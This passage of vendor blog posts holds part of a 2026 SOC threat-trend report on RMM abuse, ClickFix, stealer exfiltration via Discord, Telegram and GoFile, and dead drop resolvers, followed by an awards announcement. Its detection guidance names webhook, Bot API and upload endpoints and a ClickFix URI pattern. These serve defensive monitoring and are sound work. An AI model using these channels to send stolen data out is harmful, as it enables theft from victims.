When malicious intent is harder to prove, attacks may stay unnoticed longer and give attackers extended access to the infrastructure.

Risk Mitigation Playbook

Strategic Focus

Treat unexpected RMM activity as a context-driven access risk, not as automatically benign software.

Legitimate or signed RMM tools should still be validated against the delivery path, approved admin workflows, and expected usage.

Operational Steps

• Maintain a strict, centralized allowlist of approved RMM tools, including specific authorized tenants, accounts, admin hosts, and sanctioned workflow.
• Security systems must be configured to track the full attack chain: from the initial visit to a phishing page to the subsequent installer or script download, culminating in RMM execution and outbound connections to remote infrastructure.
• During incident triage, analysts must verify the download source and parent process; RMM tools launched from user directories (e.g., %TEMP%, Downloads, AppData).

Read more: Phishing-to-RMM Attacks: The Remote Access Blind Spot CISOs Can’t Ignore

Trend 12: Legitimate website abuse is growing in ClickFix campaigns

Instead of creating dedicated phishing domains, threat actors increasingly spread ClickFix campaigns through compromised legitimate websites.

They inject code into real websites to display fake messages that urge users to run malicious commands in PowerShell or CMD.

SOC & Business Impact

Clean Domains Pass Reputation Checks

Attackers abuse legitimate websites with clean history, so the domains may not be identified as suspicious during early detection.

Standard Detection Coverage Misses the Setup

Many security tools focus on newly registered domains or known phishing pages, while ClickFix can start from a trusted website.

Manual Execution Hides the Malicious Step

The malicious logic may be hidden in injected JavaScript, while the user is pushed to run the command manually. This makes detection and triage harder and requires deeper browser and webpage analysis.

Risk Mitigation Playbook

Strategic Focus

Don’t consider domain reputation as sufficient proof of safety. Legitimate and long-standing websites can still become the first stage of an attack, so SOC teams should assess the full user interaction flow, not only the domain or URL.

Operational Steps

• During triage, analysts must perform a deep-dive into webpage content and JavaScript, rather than focusing solely on the domain or URL.
• Monitoring must be tuned to alert on pages that urge users to execute PowerShell or CMD commands to resolve browser or document errors.
• Establish specialized monitoring for suspicious URI patterns associated with ClickFix infrastructure, including calls to /jsrepo?rnd=.

Stay updated on the latest ClickFix attacks

Use queries like:

threatName:”clickfix” AND submissionCountry:”de”

in Threat Intelligence Lookup to uncover threats in your industry and region.

Trend 13: Discord, Telegram, and GoFile are used as exfiltration channels

In stealer attacks, exfiltration increasingly relies on legitimate public services such as Discord, Telegram, and GoFile instead of attacker-owned infrastructure.

These services are often available from corporate networks and allow attackers to transfer stolen data without maintaining their own C2 infrastructure.

SOC & Business Impact

Legitimate Services Hide Exfiltration

Traffic to Discord, Telegram, or GoFile may look legitimate, but in stealer activity it can represent the final stage of the attack: sending stolen data to the operator.

Blocking Entire Services Is Not Practical

Because these services can have legitimate use, blocking them altogether may not be a reasonable option for many organizations.

Context Determines Malicious Intent

SOC teams need process, activity, and data-collection context to understand whether a connection to these services was normal traffic or actual exfiltration.

Risk Mitigation Playbook

Strategic Focus

Monitor activity related to legitimate services like Discord, Telegram, and GoFile. It’s key to assess the context: which process connected to the service, what happened before the connection, and whether data collection or archive creation occurred.

Operational Steps

• Monitor Discord webhook activity, especially requests to discord.com/api/webhooks/, discordapp.com/api/webhooks/, and related endpoints. Focus on POST requests, multipart/form-data, archive uploads, and unusual process origins. Prioritize detections where webhook URLs, IDs, or tokens appear in malware configs, memory, files, or command-line artifacts.
• For Telegram, track Bot API usage via api.telegram.org/bot, including /sendMessage, /sendDocument, and /sendPhoto. Watch for bot tokens, chat_id, and file transfers using POST with multipart/form-data. Flag cases where tokens or chat IDs are embedded in malware artifacts or suspicious processes send data to Telegram.
• For GoFile, monitor gofile.io and related upload endpoints like api.gofile.io and /uploadFile. Focus on POST uploads, archive creation (.zip, .rar, .7z), and generated download links. Prioritize cases where uploaded archives are later shared via Telegram or Discord.

Read more: How to Intercept Data Exfiltrated by Malware via Telegram and Discord

Trend 14: Phishing imitates payment and government services to target employees

This trend is built around phishing, payment data theft, and business process abuse. Phishing campaigns increasingly imitate not only fine-payment and government-fee services, but also banks, tax authorities, municipal portals, and other official payment services.

Attackers target employees involved in finance, accounting, legal, procurement, fleet management, and decision-making processes by using themes such as taxes, fines, debts, refunds, and mandatory payments.

SOC & Business Impact

Attacks Blend into Business Workflows

These attacks look like normal financial or administrative tasks, such as checking a fine, paying a fee, confirming a debt, or processing a tax notice.

Employees May Complete the Scenario Manually

Because the request appears relevant to their work, employees may follow the steps themselves and enter sensitive data into a fake form.

No Malware Means Lower Detection Confidence

There may be no malware, exploit, or obvious payload. Without context around the user, department, domain, and page content, the incident may look like a low-priority suspicious URL rather than business process abuse.

Risk Mitigation Playbook

Strategic Focus

Treat payment- and government-themed phishing as business process abuse, not just generic phishing. SOC teams should prioritize the incident based on the user’s role, department, and potential financial exposure.

Operational Steps

• Monitoring must prioritize combinations of high-risk indicators: newly registered or low-reputation domains combined with service impersonation, clear payment intent, and access by a corporate user.
• Track themes related to debts, payment checks, and official notices where the sender’s display name imitates a municipal body or bank but the underlying link points to a non-official domain.
• Detection rules should flag POST requests occurring after page visits to uncategorized domains, as this indicates data submission into a form.

Read more: Cyber Attacks on Government Agencies: Detect and Investigate with ANY.RUN for Fast Response

Trend 15: Dead Drop Resolvers are being used to hide C2 and delivery chains

Malware actors increasingly use Dead Drop Resolvers (DDR) as an infrastructure layer. Instead of storing the final C2 URL, configuration, or delivery-chain elements directly in the sample, malware retrieves them from external sources during execution.

These sources can include smart contracts and blockchain infrastructure, as seen in EtherHiding, Steam profiles, or other legitimate and out-of-band resources where attackers can hide C2 configuration.

SOC & Business Impact

Static IOCs Lose Value

DDR makes malware infrastructure more resilient because the final C2 may be absent from the sample and only appear during execution.

Legitimate Sources Hide C2 Resolution

The DDR source may look legitimate, such as a blockchain RPC endpoint or a Steam profile, making detection and triage harder.

Attack Context Can Be Missed

If teams only see the final C2 connection or only the DDR request, they may miss how the malware resolved infrastructure and continued the attack chain.

Risk Mitigation Playbook

Strategic Focus

Shift detection from isolated IOCs to the full behavioral chain of C2 resolution. SOC and MSSP teams should treat DDR activity as a separate detection category, even in cases when C2 infrastructure appears only during execution.

Operational Steps

Actively track indicators of blockchain-based DDR (EtherHiding), including eth_call, eth_getStorageAt, and generic JSON-RPC requests.

Flag requests to steamcommunity.com/profiles/ that originate from non-browser or non-Steam processes, particularly when these requests are followed by connections to unknown or rare external hosts.

Proactively correlate all DDR requests with subsequent C2 connections, payload execution, or exfiltration activity.

Read more: Kamasers: A Multi-Vector DDoS Botnet Targeting Organizations Worldwide

How to Mitigate with ANY.RUN

The report’s findings point to the need for SOC teams to detect attacks earlier and see more of the attack chain before damage is done.

Across the 15 trends, attackers repeatedly abuse trusted services, legitimate workflows, browser-based flows, identity mechanisms, and dynamic infrastructure to avoid simple detection.

ANY.RUN helps SOC and MSSP teams close these gaps by combining interactive analysis with fresh, sandbox-validated threat intelligence. With ANY.RUN, security teams can:

• Reduce MTTR by 21 minutes per case by quickly reconstructing attack chains across phishing, payload delivery, RMM installation, C2 resolution, and exfiltration.

• Increase detection rate by 36% with deeper visibility into evasive phishing, malware behavior, browser activity, redirects, scripts, and infrastructure links.

• Achieve an MTTD of 14 seconds by safely detonating suspicious files, URLs, phishing pages, and malware across Windows, Linux, Android, and macOS.

• Prioritize incidents with more confidence using Threat Intelligence Lookup, Threat Intelligence Feeds, and expert-led TI Reports to connect indicators with behavioral context and current threat activity.

Conclusion

ANY.RUN’s H1 2026 Cyber Risk Report highlights how phishing, malware, identity abuse, and trusted infrastructure misuse are changing the way SOC teams detect, investigate, and respond to threats. The findings show why earlier detection, broader visibility, and context-rich threat intelligence are becoming essential for modern security operations.

About ANY.RUN

ANY.RUN is a leading provider of interactive malware analysis and threat intelligence solutions trusted by more than 16,000 organizations worldwide, including 74% of the Fortune 100.

Its Interactive Sandbox and Threat Intelligence solutions help SOC teams analyze suspicious files and URLs, uncover malicious behavior, enrich investigations with actionable context, and connect related activity across infrastructure and campaigns.

With deeper visibility and fresh threat context, security teams can reduce investigation time, lower MTTD and MTTR, and contain threats before business impact grows.

FAQ

The post 6 Months on Alert: Get H1 2026 Cyber Risk Report for SOCs and MSSPs appeared first on ANY.RUN's Cybersecurity Blog.

In G2’s Fall 2026 awards, we earned both Momentum Leader and Grid Leader recognition, highlighting our continued growth and strong position in the market. Most importantly, these achievements reflect the trust security professionals place in ANY.RUN every day to support their threat investigations.

How ANY.RUN Delivers Measurable Value for Modern SOCs

G2’s Grid Leader and Momentum Leader awards offer two complementary perspectives on a technology solution.

Being named a Grid Leader reflects strong customer satisfaction combined with a solid market presence. Momentum Leader recognition highlights products demonstrating significant momentum within their category.

For ANY.RUN, reaching both achievements in the malware analysis category demonstrates two things we care deeply about: delivering measurable value to security teams and continuing to evolve alongside the threats they investigate.

SOCs today need more than just a place to upload suspicious files. Analysts need instant visibility into what a threat actually does. SOC leaders need confidence that their teams can investigate incidents efficiently and consistently.

That is the problem ANY.RUN’s Interactive Sandbox continues to solve.

ANY.RUN helps teams establish a more consistent approach to threat investigation by giving analysts access to shared analysis and intelligence capabilities. This can reduce repetitive work, make investigation processes easier to standardize, and help teams make better use of their expertise.

By supporting investigations across multiple environments, including Windows, Linux, macOS, and Android, we give teams broader visibility when analyzing threats that target different platforms.

Helping SOC Leaders Build More Efficient Operations

For SOC leaders, the value of extended investigation opportunities extends beyond individual alerts. The bigger challenge is creating an operation that can handle growing volumes of threats without sacrificing analysis quality.

ANY.RUN also fits into existing security workflows through integrations and team-oriented capabilities, helping organizations incorporate analysis into the processes they already use.

At scale, this translates into a practical advantage: analysts can work from a common source of threat context, while security teams can connect ANY.RUN with existing SIEM, TIP, and SOAR environments through APIs, SDKs, and out-of-the-box integrations.

Explore all ANY.RUN integrations

By integrating ANY.RUN into their workflows, SOCs can improve operational efficiency at scale. 95% of SOCs report faster threat investigations, while teams can reduce MTTR by up to 21 minutes per case and cut Tier 1 workload by up to 20%.

Recognition That Reflects the People Using ANY.RUN

The most meaningful part of each G2 recognition isn’t the badge itself but the experience behind it.

ANY.RUN is used by over 700,000 security professionals around the world, as well as 16,000+ SOC and MSSP teams that rely on our solutions for malware analysis, threat intelligence, alert triage, phishing investigations, threat hunting, and incident response.

Every investigation performed with ANY.RUN represents a real security decision: whether an alert is malicious, whether a link is safe, whether an endpoint has been compromised, or whether an incident requires escalation.

Our responsibility is to make those decisions easier to reach and more reliable.

Conclusion

Being named a Momentum Leader and Grid Leader in G2’s Fall 2026 rankings is recognition of the progress we have made with the cybersecurity community and motivation to keep improving.

We will continue investing in the capabilities that matter most to security teams: faster investigations, richer context, stronger threat intelligence, broader threat coverage, and workflows that reduce unnecessary effort for analysts.

For analysts, that means better tools for understanding what threats actually do. For SOC leaders, it means building more efficient, consistent, and resilient security operations. And for the organizations they protect, it means turning threat data into confident action sooner.

About ANY.RUN

ANY.RUN develops cybersecurity solutions for SOC and MSSP teams, supporting threat monitoring, detection, triage, investigation, and incident response.

Interactive sandbox analysis combined with threat intelligence capabilities supported by over 16,000 organizations worldwide help security professionals understand threats and make confident decisions faster.

For enterprises, ANY.RUN helps reduce investigation time and analyst workload while supporting secure, compliant operations.

ANY.RUN is SOC 2 Type II attested and committed to strong security control and customer data protection. Privacy is also ensured by SSO, MFA, role-based access controls, and integrations with existing security tools that help SOCs scale efficiently and maintain control.

FAQ

The post ANY.RUN Secures Leader Status in G2’s Malware Analysis Rankings appeared first on ANY.RUN's Cybersecurity Blog.